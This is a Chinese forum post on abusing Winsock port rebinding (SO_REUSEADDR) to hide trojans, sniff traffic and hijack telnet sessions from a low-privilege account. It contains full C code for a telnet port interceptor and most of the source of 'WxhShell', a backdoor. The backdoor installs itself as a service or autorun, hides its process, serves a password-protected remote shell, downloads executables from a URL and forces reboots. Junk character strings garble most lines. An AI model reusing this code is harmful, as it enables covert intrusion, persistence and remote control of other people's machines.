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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ATR!7i\|  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); +zy=50,   
9'r:~ O  
  saddr.sin_family = AF_INET; R9B&dvG  
+"1NC\<*  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); {l |E:>Q2  
sqW* pi  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 23h% < ,  
7U"[Gf  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ",!1m7[wF  
:sC qjz  
  这意味着什么?意味着可以进行如下的攻击: Fy.\7CL>  
9~l hsH  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 _U/!4A  
HeG)/W?r  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) KCWc`Oz  
{#{DH?=^)u  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 *V+j%^91}  
vBog0KD);s  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  z`\F@pX%wC  
e6!LSx}y  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 tzs</2 G,  
yV"ZRrjO'Z  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 f4BnX(1u  
"I QlVi  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 'D @-  
v$N|"o""  
  #include 9D4NX<_  
  #include J&T.(  
  #include '{(UW.Awo  
  #include    0X^Ke(/89  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ;g~TWy^o  
  int main() /r=tI)'$  
  { ~ {Mn{  
  WORD wVersionRequested; n(el]_d  
  DWORD ret; pZeE61c/  
  WSADATA wsaData; k68F-e[i^  
  BOOL val; .B\5OI,]  
  SOCKADDR_IN saddr; Pcw6!xH  
  SOCKADDR_IN scaddr; LGl2$#x  
  int err; (<)]sp2   
  SOCKET s; kS!viJwtT  
  SOCKET sc; LA`*_|}qcR  
  int caddsize; ak;*W  
  HANDLE mt; Ovj^IjG-`  
  DWORD tid;   4)("v-p  
  wVersionRequested = MAKEWORD( 2, 2 ); !=N"vD*  
  err = WSAStartup( wVersionRequested, &wsaData ); *guoWPA|Ij  
  if ( err != 0 ) { d20gf:@BM  
  printf("error!WSAStartup failed!\n"); ZfB " E  
  return -1; YJo["Q  
  } PP!SK2u "L  
  saddr.sin_family = AF_INET; t1%_DPD%W  
   !U5Wr+83  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ,%)6jYHRw  
T,VY.ep/  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); )LyojwY_g  
  saddr.sin_port = htons(23); 'Tc]KXD6  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) a|?4 )  
  { >hr{JJe  
  printf("error!socket failed!\n"); Iyyh!MVF  
  return -1; EbdfV-E  
  } lg b?)=  
  val = TRUE; 3%E74 mOcD  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 (x3.poSt  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) pbU!dOU~e  
  { c.j$9=XLBG  
  printf("error!setsockopt failed!\n"); ,JEF GI{  
  return -1; D)d~3`=#  
  } beu\cV3  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; WAS U0  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 (t4&,W_spA  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 u5Ftu?t  
V?=8".GiX  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 9F*+YG!  
  { Et/&^&=\-  
  ret=GetLastError(); !Uq^7Mw  
  printf("error!bind failed!\n"); @0SC"CqM  
  return -1; TEaJG9RU>v  
  } uNHF'?X  
  listen(s,2); R>(@Z M&  
  while(1) :Cp'm'omb  
  { /=gOa\k|p  
  caddsize = sizeof(scaddr); l'TWkQ-  
  //接受连接请求 \xS&v7b  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); gwWN%Z"  
  if(sc!=INVALID_SOCKET) aG 92ay  
  { .3MIcj=p  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); a$Cdhx !  
  if(mt==NULL) P`e!Z:  
  { b%S62(qP  
  printf("Thread Creat Failed!\n"); H `(exa:w  
  break; zBe8,, e  
  } p^'3Odd|O  
  } KFFSv{m[  
  CloseHandle(mt); pe{; ~-|6  
  } _`pD`7:aI^  
  closesocket(s); gw}Mw  
  WSACleanup(); @!8ZPiW<  
  return 0; `2PLWo  
  }   #Z<a  
  DWORD WINAPI ClientThread(LPVOID lpParam) J|w)&bV  
  { Z%n(O(^L  
  SOCKET ss = (SOCKET)lpParam; 2[ r^M'J  
  SOCKET sc; 91xB9k1zO  
  unsigned char buf[4096]; *>+,(1Fz  
  SOCKADDR_IN saddr; ?2g`8[">  
  long num; lf!FTm7  
  DWORD val; ~fo6*g:f1  
  DWORD ret; X 51Yfr  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ($~RoQ=0S  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   XB_B4X1R  
  saddr.sin_family = AF_INET; K/}rP[H  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ~O1&@xX  
  saddr.sin_port = htons(23); pm9%%M$  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) [o<VVtB.Gk  
  { (S v~2  
  printf("error!socket failed!\n"); I'@Ydt2  
  return -1; Zw~+Pb  
  } MXyaE~LK  
  val = 100; hsw9(D>jp  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) e A}%C.ZR  
  { O1`9Y}G(r  
  ret = GetLastError(); d`/tE?Gw  
  return -1; G7CG~:3h+  
  }  ]$,UPR/3  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) UA yC.$!  
  { -@Uqz781  
  ret = GetLastError(); q/4 [3h  
  return -1; nO)X!dp}J  
  } =k oSUVO0  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) A<B=f<N3gV  
  { 7k(Kq5w.  
  printf("error!socket connect failed!\n"); ?PyG/W  
  closesocket(sc); eBJUv]o %  
  closesocket(ss); A.5i"Ci[ie  
  return -1; ;-Jb1"5  
  } ScSZGs 5&  
  while(1) "$}vP<SM  
  { "XT"|KF|D  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 qBT.x,$  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 =ID 2  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 >X51$wBL  
  num = recv(ss,buf,4096,0); >B>CB3U  
  if(num>0) BY]i;GVq  
  send(sc,buf,num,0); np4+"  
  else if(num==0) =?-ye!w  
  break; k`x=D5s\  
  num = recv(sc,buf,4096,0); Y OJ6 w  
  if(num>0) x1BobhU~Zl  
  send(ss,buf,num,0); [S@}T zE  
  else if(num==0) 0{j&6I2  
  break; "t0kAG  
  } yA3wtm/?  
  closesocket(ss); 8Y#\xzod  
  closesocket(sc); "{D|@Bc  
  return 0 ; \fjMc }'  
  } bUY>st'  
Jx=hJ-FY  
2mq$H_  
========================================================== AZ{^o4<q  
~I(Hc.Q  
下边附上一个代码,,WXhSHELL 8O"U 0  
J=dJs k   
========================================================== U bYEEY#  
:F?x)"WoQ+  
#include "stdafx.h" x[Wwq=~  
B7Tk4q\;Q  
#include <stdio.h> x{&w?ng  
#include <string.h> @EoZI~  
#include <windows.h> )aX2jSp  
#include <winsock2.h> ZY56\qcY  
#include <winsvc.h> d;+[i  
#include <urlmon.h> Zx$ol;Yd  
W#Qmv^StZ  
#pragma comment (lib, "Ws2_32.lib") _aPh(qprc  
#pragma comment (lib, "urlmon.lib") ]0r|_)s  
cGwf!hA  
#define MAX_USER   100 // 最大客户端连接数 p)~lL  
#define BUF_SOCK   200 // sock buffer Tb1U^E:  
#define KEY_BUFF   255 // 输入 buffer wap3Kd>MP  
_e7-zg$/  
#define REBOOT     0   // 重启 [qoXMuC|P  
#define SHUTDOWN   1   // 关机 dgo3'ZO  
2:LHy[{5  
#define DEF_PORT   5000 // 监听端口 O0PJ6:9P  
m5D"A D  
#define REG_LEN     16   // 注册表键长度 9Ok9bC'?8@  
#define SVC_LEN     80   // NT服务名长度 J4YBqp  
:ZDMNhUl &  
// 从dll定义API 178Mb\8  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 9RwawTM  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); &Sp -w?kM  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); nP UqMn'  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); k'X;ruQ:tF  
 >Ng)k]G  
// wxhshell配置信息 dz[ bm< T7  
struct WSCFG { 1w"8~Z:UXV  
  int ws_port;         // 监听端口  LZ~"VV^  
  char ws_passstr[REG_LEN]; // 口令 $M:3XAN  
  int ws_autoins;       // 安装标记, 1=yes 0=no Em7 WDu0  
  char ws_regname[REG_LEN]; // 注册表键名 J# kl 7  
  char ws_svcname[REG_LEN]; // 服务名 vJ`.iRU|  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ;<Km 3  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 x|KWyfOS  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Ac|5. ?|N  
int ws_downexe;       // 下载执行标记, 1=yes 0=no gip/(/NX  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" |~<N -~.C  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Bg8#qv  
C;~*pMAYe  
}; $Q+s/4\  
wLV~F[:  
// default Wxhshell configuration ~l~Tk6EM  
struct WSCFG wscfg={DEF_PORT, B[9 (FRX  
    "xuhuanlingzhe", PNeh#PI 6)  
    1, \x >65;  
    "Wxhshell", O3o: qly!  
    "Wxhshell", >ulY7~wUv  
            "WxhShell Service", \b*X:3g*  
    "Wrsky Windows CmdShell Service", ^S#t|rN  
    "Please Input Your Password: ", G9g6.8*&  
  1, },[;O^Do^{  
  "http://www.wrsky.com/wxhshell.exe", z}Jr^>  
  "Wxhshell.exe" @InZ<AW>|  
    }; [/RM=4Nh5  
y}08~L?2  
// 消息定义模块 nIfCF,6,  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 4l8BQz}sb  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 5y4u5Tm-%  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; s:y ^_W)d  
char *msg_ws_ext="\n\rExit."; s0hBbL0DH  
char *msg_ws_end="\n\rQuit."; V^il$'  
char *msg_ws_boot="\n\rReboot..."; gBk5wk_j|  
char *msg_ws_poff="\n\rShutdown..."; e1q"AOV6  
char *msg_ws_down="\n\rSave to "; +[ .Yy  
;pRcVL_4  
char *msg_ws_err="\n\rErr!"; 0F;,O3Q  
char *msg_ws_ok="\n\rOK!"; FnHi(S|A  
]|:uU  
char ExeFile[MAX_PATH]; 8X&Ya =  
int nUser = 0; Z%gx%$  
HANDLE handles[MAX_USER]; I]}>|  
int OsIsNt; 99 wc  
EqM;LgE=  
SERVICE_STATUS       serviceStatus; z"F*\xa  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; bZipm(e  
XT@Mzo49z\  
// 函数声明 >[a<pm !  
int Install(void); gY9\o#)<  
int Uninstall(void); rU#li0 >  
int DownloadFile(char *sURL, SOCKET wsh); RHNk%9  
int Boot(int flag); tjv\)Nn'  
void HideProc(void); $(HjI \%l^  
int GetOsVer(void); O%1/ r*  
int Wxhshell(SOCKET wsl); S-Ai3)t6  
void TalkWithClient(void *cs); [B6DC`M  
int CmdShell(SOCKET sock); 3#.\  
int StartFromService(void); s'_,:R\VM>  
int StartWxhshell(LPSTR lpCmdLine); Yr&Ka:  
SQ#7PKH  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); xX@FWAj  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); IjZ@U%g@;  
MC=G"m:_  
// 数据结构和表定义 O]nT>;PXX  
SERVICE_TABLE_ENTRY DispatchTable[] = g*-2* \  
{ 0rzVy/Z(  
{wscfg.ws_svcname, NTServiceMain}, Bh`IXu  
{NULL, NULL} d(L{!mm  
}; QB 77:E  
` Q9+k<  
// 自我安装 A 0#Y, 1  
int Install(void) i7eI=f-Q  
{ |f NMs  
  char svExeFile[MAX_PATH]; 3ps,uozj  
  HKEY key; Y%IJ8P^Y  
  strcpy(svExeFile,ExeFile); zk>h u<_  
ndOfbu;mf  
// 如果是win9x系统,修改注册表设为自启动 \p6 }  
if(!OsIsNt) { c#\-%h  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { k!E"wJkpz  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *bZ\@Qm  
  RegCloseKey(key); f9'] jJ+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `s}BXKIv}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :dDxxrs"  
  RegCloseKey(key); FDq{M?6i  
  return 0; R=35 7^[R  
    }  ? ICDIn  
  } K^ 6+Ily  
} cV]y=q 6  
else { pF='jj51  
$,P\)</ VR  
// 如果是NT以上系统,安装为系统服务 d;g-3Pf  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); W uf/LKj  
if (schSCManager!=0) cQ,9Rnfl,  
{ gfVDqDF  
  SC_HANDLE schService = CreateService b"P&+c  
  ( 6S_y%8Fv&[  
  schSCManager, yfq>,  
  wscfg.ws_svcname, T?e9eYwS  
  wscfg.ws_svcdisp, )l{A{f6O  
  SERVICE_ALL_ACCESS, 1(pjVz&  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , (txt8q  
  SERVICE_AUTO_START, x3;jWg~'  
  SERVICE_ERROR_NORMAL, 0s!N@ ,T  
  svExeFile, %1Jd ^[W  
  NULL, eE,;K1  
  NULL, pe#*I/)b  
  NULL, Z^+a*^w~{  
  NULL, D1! {S7  
  NULL *2#FRA#q  
  ); P#F_>GB  
  if (schService!=0) q]+)c2M  
  { i;avwP<0  
  CloseServiceHandle(schService); S[.5n]  
  CloseServiceHandle(schSCManager); TnxU/)  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 9C>ynH  
  strcat(svExeFile,wscfg.ws_svcname); qSR? ,G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { V7n >,k5  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <THUsY`3P&  
  RegCloseKey(key); LK %K0o  
  return 0; @?vLAsp\  
    } xBt<Yt"  
  } `rq<jtf+  
  CloseServiceHandle(schSCManager); ,0.|P`|w  
} &*ZC0V3  
} @LHtt/&  
F_ _H(}d  
return 1; mf~Lzp  
} X,&xhSzg?  
{\luieG  
// 自我卸载 Y 0]Kl^\A  
int Uninstall(void) N[]U%9[=2F  
{ T7ki/hjRb  
  HKEY key; W'd/dKU x  
UXQb ={  
if(!OsIsNt) { 6_Fpca3L  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \ bC}&Iz6  
  RegDeleteValue(key,wscfg.ws_regname); FQQ@kP$.  
  RegCloseKey(key); BQuRHi IV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2!{N[*)  
  RegDeleteValue(key,wscfg.ws_regname); )I?RMR  
  RegCloseKey(key); ~X[S<Gi#  
  return 0; yX3PUO9  
  } O<bDU0s{M  
} 9ec0^T  
} (UXv,_"nU  
else { bD  d_}  
$}V7(wu 6@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); l~4_s/  
if (schSCManager!=0) rXlx?GV  
{ Euqjxz  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); m\1VF\  
  if (schService!=0) t2Ip\>;9f  
  { p|b+I"M  
  if(DeleteService(schService)!=0) { vP-3j  
  CloseServiceHandle(schService); 3.B4(9:>,  
  CloseServiceHandle(schSCManager); qjJ{+Rz2  
  return 0; i1tVdbC]  
  }  7N!tp,?  
  CloseServiceHandle(schService); 9/FG,9  
  } =rtS#u Y  
  CloseServiceHandle(schSCManager); U8EJC .e&O  
} <g] ou YHZ  
} -3u@hp_  
P= &'wblm?  
return 1; .MzOLv   
} P\Ai|"=&]  
E(7@'d{o  
// 从指定url下载文件 bcUC4g\9N  
int DownloadFile(char *sURL, SOCKET wsh) #4Dn@Gqh.Y  
{ xi;/^)r  
  HRESULT hr; ROPC |  
char seps[]= "/"; pk;ffq@  
char *token; GU:r vS!  
char *file; A Z]P+v  
char myURL[MAX_PATH]; <jpeu^7  
char myFILE[MAX_PATH]; /#:Rd^  
 )GB3=@  
strcpy(myURL,sURL); [`y:M&@  
  token=strtok(myURL,seps); 3Ne9% "  
  while(token!=NULL) pESB Il  
  { ERUs0na]  
    file=token; R;0W+!fE  
  token=strtok(NULL,seps); b`(yu.{Jn  
  } D?iy.Dg  
I{`KKui<M  
GetCurrentDirectory(MAX_PATH,myFILE); 6{b%Jfo  
strcat(myFILE, "\\"); |WD,\=J2  
strcat(myFILE, file); )?!vJb"  
  send(wsh,myFILE,strlen(myFILE),0); 3*CzXK>`M&  
send(wsh,"...",3,0); ~AEqfIx*^&  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); N>uA|<b,  
  if(hr==S_OK) VQ1?Db(_2  
return 0; f}L>&^I)  
else 7$g*N6)Q  
return 1; \e`6=Q%  
r24\DvS  
} A6@+gP<  
Qh)|FQ[s$r  
// 系统电源模块 *%ed;>6:Q  
int Boot(int flag) 5W?yj>JR  
{ g28S3 '2  
  HANDLE hToken; wQF&GGY R  
  TOKEN_PRIVILEGES tkp; <7vIh0  
n;-x!Gs  
  if(OsIsNt) { }V1DyLg :  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); O vyB<r  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 2 ||KP|5@  
    tkp.PrivilegeCount = 1; W _PM!>8`  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; DiZ!c "$  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); LU-#=1Q  
if(flag==REBOOT) { gE-w]/1zD5  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) }Q{ =:X9  
  return 0; H$k![K6Uj  
} "Cb.cO$i;  
else { afxj[;p!  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) m~= ]^e  
  return 0; G/LXUhuif  
} t7U,AQ=;P5  
  } MFc=B`/X  
  else { /o<}]]YBF  
if(flag==REBOOT) { FT|/ WZR  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) O4b-A3:  
  return 0; vWnHC  
} +P> A P&  
else { H#1*'e>  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) wzNt c)~i  
  return 0; 1cHSgpoJ  
} H 'WFORso[  
} T!=20!I  
`&|l;zsS  
return 1; `>`K7-H  
} +eV4g2w)  
ijZydn  
// win9x进程隐藏模块 *0Wi^f  
void HideProc(void) u>3&.t@hU1  
{ 6g~o3  
O5G<O(,\  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ^B&ahk  
  if ( hKernel != NULL ) t9f4P^V`  
  { \V"P maP\  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); RF,=bOr19  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); =E"kv!e   
    FreeLibrary(hKernel); T;4gcJPn"M  
  } bgzT3KZ  
'1kj:Np  
return; :N+#4rtgUY  
} 5KC\1pe i  
$8X tI  
// 获取操作系统版本 Dvq*XI5  
int GetOsVer(void) 6'No4[F 4n  
{ T ,O<LFv  
  OSVERSIONINFO winfo; !F7EAQn{(  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9GtVI^]  
  GetVersionEx(&winfo); DiYJlD&  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) }]39 iK`w  
  return 1; 7&RJDa:a7T  
  else L?D~~Jb  
  return 0; [o[v"e\w  
} cmr6,3_  
njwR~aL`|  
// 客户端句柄模块  [A%e6  
int Wxhshell(SOCKET wsl) O=#/DM;  
{ &, Zz  
  SOCKET wsh; -u3SsU)_%N  
  struct sockaddr_in client; cDQw`ORP*g  
  DWORD myID; `!Ge"JB6   
qy42Y/8'  
  while(nUser<MAX_USER) Zjp5\+hHV  
{ eJ=Y6;d$  
  int nSize=sizeof(client); u\1Wkxj  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); PGv}fEH"  
  if(wsh==INVALID_SOCKET) return 1; :)J~FVLy  
tXG4A$(2&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); f_5R!;  
if(handles[nUser]==0) :AqnWy  
  closesocket(wsh); j$mt*z L  
else xo)?XFM2  
  nUser++; -MHX1`P:Sn  
  } ]/V Iff  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); jB/q1vFO  
vRb(eg  
  return 0; tN'- qdm  
} O%++0k;  
Pdo5 sve  
// 关闭 socket lc$@Jjg9  
void CloseIt(SOCKET wsh) 5rHnU<H@y  
{ &J&w4"0N'  
closesocket(wsh); '/yx_R K2?  
nUser--; $ Op/5j  
ExitThread(0); {^$"/hj  
} ;5oH6{7_Z  
/P8eI3R  
// 客户端请求句柄 i:Z.;z$1  
void TalkWithClient(void *cs) QhE("}1  
{ H'= i  
xU\:Vid+A  
  SOCKET wsh=(SOCKET)cs; 1O3<%T#LOZ  
  char pwd[SVC_LEN]; c;|&>Fp  
  char cmd[KEY_BUFF]; pqQdr-aR=  
char chr[1]; YI),q.3X~  
int i,j; 9 <kkzy  
%yuIXOJ  
  while (nUser < MAX_USER) { W}e[.iX;  
c;~Llj P  
if(wscfg.ws_passstr) { CO%O<_C  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); C@?e`=9(  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %`T^qh_dE  
  //ZeroMemory(pwd,KEY_BUFF); h&)vdCCk  
      i=0; :jKXKY+T  
  while(i<SVC_LEN) { z`r4edk3  
*}iT6OJ  
  // 设置超时 milK3+N  
  fd_set FdRead; |z7Crz  
  struct timeval TimeOut; TaHi+  
  FD_ZERO(&FdRead); ,tR'0&=  
  FD_SET(wsh,&FdRead); 7jg(j~tQ  
  TimeOut.tv_sec=8; qf&a<[p~  
  TimeOut.tv_usec=0; 8JFkeU%yO  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ah6F^Kpl{  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); %k;FxUKi  
$ E~Lu$|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); CL}I:/zRB  
  pwd=chr[0]; n$![b_)*  
  if(chr[0]==0xd || chr[0]==0xa) { f+*2K^B  
  pwd=0; O"-PNF,J  
  break; _467~5JkU  
  } A[$wxdc  
  i++; C^42=?  
    } /h.3<HI."*  
VX>t!JP p  
  // 如果是非法用户,关闭 socket Z%n.:I<%ZV  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); VU'l~%ql  
} JK8@J9(#  
?>\]%$5o  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $Q$d\Yvi  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vLT12v:)`  
53&xTcv}x  
while(1) { \utH*;J|x  
dv9Pb5i  
  ZeroMemory(cmd,KEY_BUFF); nu9k{owB T  
e4W];7_K!  
      // 自动支持客户端 telnet标准   3^-)gK  
  j=0; /G{3p&9  
  while(j<KEY_BUFF) { y $ DB  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |b;M5w?  
  cmd[j]=chr[0]; 6C51:XQO  
  if(chr[0]==0xa || chr[0]==0xd) { oD}FJvV  
  cmd[j]=0; WT {Cjn  
  break; Vq7 kA "  
  } "yq;{AGOGl  
  j++; \w_[tPz}  
    } >E,L"&_j  
BHE =Zo  
  // 下载文件 np>!lF:  
  if(strstr(cmd,"http://")) { _C8LK.M#j  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); <fxjj  
  if(DownloadFile(cmd,wsh)) J&Qy$itqg  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {}C7VS1  
  else ! tPK"k  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZXDMbMD  
  } COL8YY  
  else { 0|Ft0y`+  
^t%M   
    switch(cmd[0]) { i@j ?<  
  <:7e4#  
  // 帮助 b2f2WY |z>  
  case '?': { VM|)\?Q  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Fl>j5[kLZ  
    break; O xaua  
  } 4wD^?S!p  
  // 安装 EGr5xR-  
  case 'i': { k+G4<qw  
    if(Install()) yWk:u 5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C)^\?DH  
    else vCo}-b-j  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W",jZ"7  
    break; >Ez}r(QQ^  
    } daJ-H  
  // 卸载 so&3A&4cL  
  case 'r': { (qONeLf%  
    if(Uninstall()) F7Yuky  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e14 Q\  
    else I}0 -  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I,?LZ_pK  
    break; 5P2FNUKL  
    } s"F,=]HQ!G  
  // 显示 wxhshell 所在路径 oqo8{hrdHk  
  case 'p': { )4~XZt1r  
    char svExeFile[MAX_PATH]; Jpnp'  
    strcpy(svExeFile,"\n\r"); .@Sh,^v  
      strcat(svExeFile,ExeFile); [c%}L 3B  
        send(wsh,svExeFile,strlen(svExeFile),0); g8@HAV^H  
    break; )tg*dE  
    } .shI% 'V  
  // 重启 Ds5&5&af  
  case 'b': { ^o<Nz8  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); F+^[8zK^  
    if(Boot(REBOOT)) a2)*tbM 9\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >'g60R[  
    else { ATewdq[C  
    closesocket(wsh); m{Xf_rQ w  
    ExitThread(0); 5d;K.O  
    } 4[j) $!l`  
